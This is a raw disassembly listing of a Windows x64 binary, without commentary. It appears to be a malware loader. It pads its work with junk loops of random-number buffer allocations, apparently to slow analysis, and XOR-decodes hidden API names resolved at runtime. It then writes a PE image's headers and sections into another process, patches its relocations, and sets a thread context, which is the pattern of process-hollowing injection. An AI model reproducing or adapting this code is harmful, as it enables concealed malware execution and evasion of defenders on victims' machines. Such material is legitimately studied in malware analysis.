jne 0x140002dd0
mov rcx, r14
call fcn.14001d470
inc esi
cmp esi, 0xb79
jne 0x140002dc0
movups xmm0, xmmword [0x1401005cc]
movaps xmmword [rsp + 0x180], xmm0
movups xmm0, xmmword [0x1401005bc]
movaps xmmword [rsp + 0x170], xmm0
movabs rax, 0x45003d0031002d
mov qword [rsp + 0x18e], rax
xor esi, esi
nop
mov ecx, 0x21a5c
call fcn.14001d490
mov r14, rax
xor edi, edi
nop
call sub.msvcrt.dll_rand
cdqe
imul rcx, rax, 0x1e3453a7
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x2a
add ecx, edx
imul ecx, ecx, 0x21e7
sub eax, ecx
mov dword [r14 + rdi*4], eax
call sub.msvcrt.dll_rand
inc rdi
cmp rdi, 0x1ea
jne 0x140002e60
mov rcx, r14
call fcn.14001d470
inc esi
cmp esi, 0x1533
jne 0x140002e50
cmp word [rsp + 0x194], 0
je 0x140002ed4
xor eax, eax
nop word [rax + rax]
lea ecx, [rax + 0x33]
xor word [rsp + rax*2 + 0x170], cx
inc rax
cmp rax, 0x13
jne 0x140002ec0
lea rcx, [rsp + 0x170]
call fcn.1400015a0
mov rcx, qword [rsp + 0x60]
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x80], rax
xor esi, esi
nop dword [rax]
mov ecx, 0x13424
call fcn.14001d490
mov r14, rax
xor edi, edi
nop
call sub.msvcrt.dll_rand
cdqe
imul rcx, rax, 0x27862f7
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x27
add ecx, edx
imul ecx, ecx, 0x33d1
sub eax, ecx
mov dword [r14 + rdi*4], eax
call sub.msvcrt.dll_rand
inc rdi
cmp rdi, 0x368
jne 0x140002f10
mov rcx, r14
call fcn.14001d470
inc esi
cmp esi, 0xd7f
jne 0x140002f00
cmp word [rsp + 0x194], 0
jne 0x140002f84
xor eax, eax
nop word [rax + rax]
lea ecx, [rax + 0x33]
xor word [rsp + rax*2 + 0x170], cx
inc rax
cmp rax, 0x13
jne 0x140002f70
xorps xmm0, xmm0
movaps xmmword [rsp + 0x180], xmm0
movaps xmmword [rsp + 0x170], xmm0
mov qword [rsp + 0x18e], 0
test bpl, bpl
je 0x14000310d
xor esi, esi
nop
mov ecx, 0x20220
call fcn.14001d490
mov r14, rax
xor edi, edi
nop
call sub.msvcrt.dll_rand
cdqe
imul rcx, rax, 0x2c55606b
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x2b
add ecx, edx
imul ecx, ecx, 0x2e32
sub eax, ecx
mov dword [r14 + rdi*4], eax
call sub.msvcrt.dll_rand
inc rdi
cmp rdi, 0x10e
jne 0x140002fc0
mov rcx, r14
call fcn.14001d470
inc esi
cmp esi, 0xaef
jne 0x140002fb0
mov eax, dword [rsp + 0x70]
mov rcx, qword [rsp + 0x58]
mov dword [rcx + 0x34], eax
xor esi, esi
nop dword [rax + rax]
mov ecx, 0x9f78
call fcn.14001d490
mov r14, rax
xor edi, edi
nop
call sub.msvcrt.dll_rand
cdqe
imul rcx, rax, 0xffffffffc6eedb0b
shr rcx, 0x20
add ecx, eax
mov edx, ecx
shr edx, 0x1f
sar ecx, 0xc
add ecx, edx
imul ecx, ecx, 0x1497
sub eax, ecx
mov dword [r14 + rdi*4], eax
call sub.msvcrt.dll_rand
inc rdi
cmp rdi, 0x162
jne 0x140003030
mov rcx, r14
call fcn.14001d470
inc esi
cmp esi, 0x1269
jne 0x140003020
mov rcx, qword [rsp + 0x90]
mov rdx, qword [rsp + 0x70]
mov rax, qword [rsp + 0x58]
mov r9d, dword [rax + 0x54]
mov qword [rsp + 0x20], 0
mov r8, qword [rsp + 0x68]
call qword [rsp + pe_nt_image_headers64]
xor esi, esi
nop word [rax + rax]
mov ecx, 0x1399c
call fcn.14001d490
mov r14, rax
xor edi, edi
nop
call sub.msvcrt.dll_rand
cdqe
imul rcx, rax, 0xffffffffc8a5604f
shr rcx, 0x20
add ecx, eax
mov edx, ecx
shr edx, 0x1f
sar ecx, 0xd
add ecx, edx
imul ecx, ecx, 0x28d4
sub eax, ecx
mov dword [r14 + rdi*4], eax
call sub.msvcrt.dll_rand
inc rdi
cmp rdi, 0x1c5
jne 0x1400030c0
mov rcx, r14
call fcn.14001d470
inc esi
cmp esi, 0x1300
jne 0x1400030b0
mov rcx, qword [rsp + 0x90]
mov rdx, qword [rsp + 0x70]
mov rax, qword [rsp + 0x58]
mov r9d, dword [rax + 0x54]
mov qword [rsp + 0x20], 0
mov r8, qword [rsp + 0x68]
call qword [rsp + pe_nt_image_headers64]
mov dword [rsp + 0x8c], 0
test rax, rax
je 0x14000362d
mov rcx, qword [rsp + 0x58]
mov eax, dword [rcx + 0xa0]
mov esi, 0
test eax, eax
je 0x14000316f
mov ecx, dword [rcx + 0xa4]
mov dword [rsp + 0x8c], ecx
mov esi, eax
test bpl, bpl
je 0x140003283
xor edi, edi
mov ecx, 0xa34c
call fcn.14001d490
mov r14, rax
xor ebx, ebx
nop dword [rax]
call sub.msvcrt.dll_rand
cdqe
imul rcx, rax, 0xffffffff9507b6a7
shr rcx, 0x20
add ecx, eax
mov edx, ecx
shr edx, 0x1f
sar ecx, 0xd
add ecx, edx
imul ecx, ecx, 0x36f8
sub eax, ecx
mov dword [r14 + rbx*4], eax
call sub.msvcrt.dll_rand
inc rbx
cmp rbx, 0x375
jne 0x140003190
mov rcx, r14
call fcn.14001d470
inc edi
cmp edi, 0xdec
jne 0x14000317a
mov rax, qword [rsp + 0x58]
cmp word [rax + 6], 0
sete bl
je 0x140003313
mov rax, qword [rsp + 0x68]
lea rdi, [rax + r13]
add rdi, 0x18
xor r14d, r14d
xor eax, eax
mov qword [rsp + 0x78], rax
mov r15, qword [rsp + 0x58]
mov r13, qword [rsp + 0x60]
movzx ecx, word [r15 + 0x14]
lea rax, [rdi + rcx]
mov edx, dword [rdi + rcx + 0xc]
cmp esi, edx
jb 0x140003237
mov ecx, dword [rax + 8]
add ecx, edx
cmp esi, ecx
mov rcx, qword [rsp + 0x78]
cmovb rcx, rax
mov qword [rsp + 0x78], rcx
add rdx, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x90]
mov r9d, dword [rax + 0x10]
mov r8d, dword [rax + 0x14]
add r8, qword [rsp + 0x68]
mov qword [rsp + 0x20], 0
call qword [rsp + pe_nt_image_headers64]
test rax, rax
je 0x140003324
inc r14
movzx eax, word [r15 + 6]
add rdi, 0x28
cmp r14, rax
setae bl
jb 0x140003211
jmp 0x140003324
mov rax, qword [rsp + 0x58]
cmp word [rax + 6], 0
je 0x140003300
mov rax, qword [rsp + 0x68]
lea rsi, [rax + r13]
add rsi, 0x18
xor eax, eax
mov qword [rsp + 0x78], rax
xor edi, edi
mov r15, qword [rsp + 0x58]
mov r13, qword [rsp + 0x60]
movzx eax, word [r15 + 0x14]
mov rcx, qword [rsp + 0x90]
mov edx, dword [rsi + rax + 0xc]
mov r9d, dword [rsi + rax + 0x10]
add rdx, qword [rsp + 0x70]
mov r8d, dword [rsi + rax + 0x14]
add r8, qword [rsp + 0x68]
mov qword [rsp + 0x20], 0
call qword [rsp + pe_nt_image_headers64]
test rax, rax
je 0x14000362d
inc rdi
movzx eax, word [r15 + 6]
add rsi, 0x28
cmp rdi, rax
jb 0x1400032af
jmp 0x14000333c
xor eax, eax
mov qword [rsp + 0x78], rax
mov r15, qword [rsp + 0x58]
mov r13, qword [rsp + 0x60]
jmp 0x14000333c
xor eax, eax
mov qword [rsp + 0x78], rax
mov r15, qword [rsp + 0x58]
mov r13, qword [rsp + 0x60]
xor r14d, r14d
test bl, 1
je 0x140003630
cmp qword [rsp + 0x78], 0
je 0x140003630
test bpl, bpl
je 0x140003661
xor esi, esi
mov ecx, 0xc4ac
call fcn.14001d490
mov r14, rax
xor edi, edi
nop word cs:[rax + rax]
call sub.msvcrt.dll_rand
cdqe
imul rcx, rax, 0x19e6a7cd
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x2a
add ecx, edx
imul ecx, ecx, 0x2789
sub eax, ecx
mov dword [r14 + rdi*4], eax
call sub.msvcrt.dll_rand
inc rdi
cmp rdi, 0x17f
jne 0x140003360
mov rcx, r14
call fcn.14001d470
inc esi
cmp esi, 0xce4
jne 0x140003347
xorps xmm6, xmm6
xor r12d, r12d
jmp 0x1400033d7
mov r15, qword [rsp + 0x58]
mov r13, qword [rsp + 0x60]
mov esi, 0x10a11
cmp esi, 0x10a11
mov eax, 0
cmove esi, eax
test esi, esi
jne 0x140003629
cmp r12d, dword [rsp + 0x8c]
jae 0x140003627
mov rax, qword [rsp + 0x78]
mov eax, dword [rax + 0x14]
mov edi, r12d
add rdi, qword [rsp + 0x68]
add r12d, 8
mov qword [rsp + 0x1f0], rax
mov ebx, dword [rax + rdi + 4]
movabs rax, 0x1fffffff8
add rbx, rax
shr rbx, 1
mov esi, 0x10a11
test ebx, ebx
je 0x1400033c1
xor r14d, r14d
jmp 0x14000343c
inc r14d
cmp r14d, ebx
je 0x1400033b2
mov rax, qword [rsp + 0x78]
mov eax, dword [rax + 0x14]
mov ecx, r12d
add rcx, qword [rsp + 0x68]
movzx r13d, word [rax + rcx]
mov esi, 0x10a13
cmp r13, 0x1000
jb 0x140003600
mov rax, qword [rsp + 0x1f0]
mov esi, dword [rax + rdi]
and r13d, 0xfff
mov dword [rsp + 0x140], 0
movups xmm0, xmmword [0x1401005f2]
movaps xmmword [rsp + 0x280], xmm0
movups xmm0, xmmword [0x1401005e2]
movaps xmmword [rsp + 0x270], xmm0
mov dword [rsp + 0x290], 0x44003a
add r13, qword [rsp + 0x70]
cmp word [rsp + 0x292], 0
je 0x1400034d4
xor eax, eax
nop dword [rax + rax]
lea ecx, [rax + 0x33]
xor word [rsp + rax*2 + 0x270], cx
inc rax
cmp rax, 0x12
jne 0x1400034c0
movups xmmword [rsp + 0x30], xmm6
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor ecx, ecx
xor edx, edx
lea r8, [rsp + 0x270]
mov r9d, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov r15d, eax
movsxd rcx, eax
call fcn.14001d490
mov rbp, rax
movups xmmword [rsp + 0x30], xmm6
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], rax
xor ecx, ecx
xor edx, edx
lea r8, [rsp + 0x270]
mov r9d, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov rcx, qword [rsp + 0x60]
mov rdx, rbp
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x1400035ec
add r13, rsi
cmp word [rsp + 0x292], 0
jne 0x140003574
xor ecx, ecx
nop
lea edx, [rcx + 0x33]
xor word [rsp + rcx*2 + 0x270], dx
inc rcx
cmp rcx, 0x12
jne 0x140003560
movaps xmmword [rsp + 0x280], xmm6
movaps xmmword [rsp + 0x270], xmm6
mov dword [rsp + 0x290], 0
mov rcx, qword [rsp + 0x90]
mov qword [rsp + 0x20], 0
mov r9d, 4
mov rdx, r13
lea r15, [rsp + 0x140]
mov r8, r15
call rax
mov eax, dword [rsp + 0xbc]
add dword [rsp + 0x140], eax
xor esi, esi
mov rcx, qword [rsp + 0x90]
mov qword [rsp + 0x20], 0
mov r9d, 4
mov rdx, r13
mov r8, r15
call qword [rsp + pe_nt_image_headers64]
jmp 0x140003600
mov esi, 1
nop word cs:[rax + rax]
add r12d, 2
cmp esi, 0x10a13
je 0x140003430
test esi, esi
je 0x140003430
mov r15, qword [rsp + 0x58]
mov r13, qword [rsp + 0x60]
jmp 0x1400033c1
xor esi, esi
test esi, esi
je 0x140003661
xor r14d, r14d
mov dword [rsp + 0x270], 0x10000b
xor esi, esi
mov ecx, 0x20618
call fcn.14001d490
mov rdi, rax
xor ebx, ebx
nop dword [rax]
call sub.msvcrt.dll_rand
cdqe
imul rcx, rax, 0xffffffffc3693e4f
shr rcx, 0x20
add ecx, eax
mov edx, ecx
shr edx, 0x1f
sar ecx, 0xd
add ecx, edx
imul ecx, ecx, 0x29ec
sub eax, ecx
mov dword [rdi + rbx*4], eax
call sub.msvcrt.dll_rand
inc rbx
cmp rbx, 0xfb
jne 0x140003680
mov rcx, rdi
call fcn.14001d470
inc esi
cmp esi, 0xfc2
jne 0x14000366e
movups xmm0, xmmword [0x140100622]
movups xmmword [rsp + 0x15c], xmm0
movups xmm0, xmmword [0x140100616]
movaps xmmword [rsp + 0x150], xmm0
movups xmm0, xmmword [0x140100606]
movaps xmmword [rsp + 0x140], xmm0
xor esi, esi
mov ecx, 0x1b5f8
call fcn.14001d490
mov rdi, rax
xor ebx, ebx
nop word [rax + rax]
call sub.msvcrt.dll_rand
cdqe
imul rcx, rax, 0x14fc93cf
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x2a
add ecx, edx
imul ecx, ecx, 0x30cb
sub eax, ecx
mov dword [rdi + rbx*4], eax
call sub.msvcrt.dll_rand
inc rbx
cmp rbx, 0x2b1
jne 0x140003710
mov rcx, rdi
call fcn.14001d470
inc esi
cmp esi, 0xf46
jne 0x1400036fb
cmp word [rsp + 0x16a], 0
je 0x14000377a
xor eax, eax
lea ecx, [rax + 0x33]
xor word [rsp + rax*2 + 0x140], cx
inc rax
cmp rax, 0x16
jne 0x140003766
lea rcx, [rsp + 0x140]
call fcn.1400015a0
mov rcx, r13
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
test rax, rax
setne r14b
je 0x140003630
xor esi, esi
mov ecx, 0x14024
call fcn.14001d490
mov r12, rax
xor ebx, ebx
nop word cs:[rax + rax]
call sub.msvcrt.dll_rand
cdqe
imul rcx, rax, 0x70a10637
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x2c
add ecx, edx
imul ecx, ecx, 0x245e
sub eax, ecx
mov dword [r12 + rbx*4], eax
call sub.msvcrt.dll_rand
inc rbx
cmp rbx, 0x1ce
jne 0x1400037c0
mov rcx, r12
call fcn.14001d470
inc esi
cmp esi, 0xf7e
jne 0x1400037a5
mov rcx, qword [rsp + 0x98]
lea rdx, [rsp + 0x270]
call rdi
xor esi, esi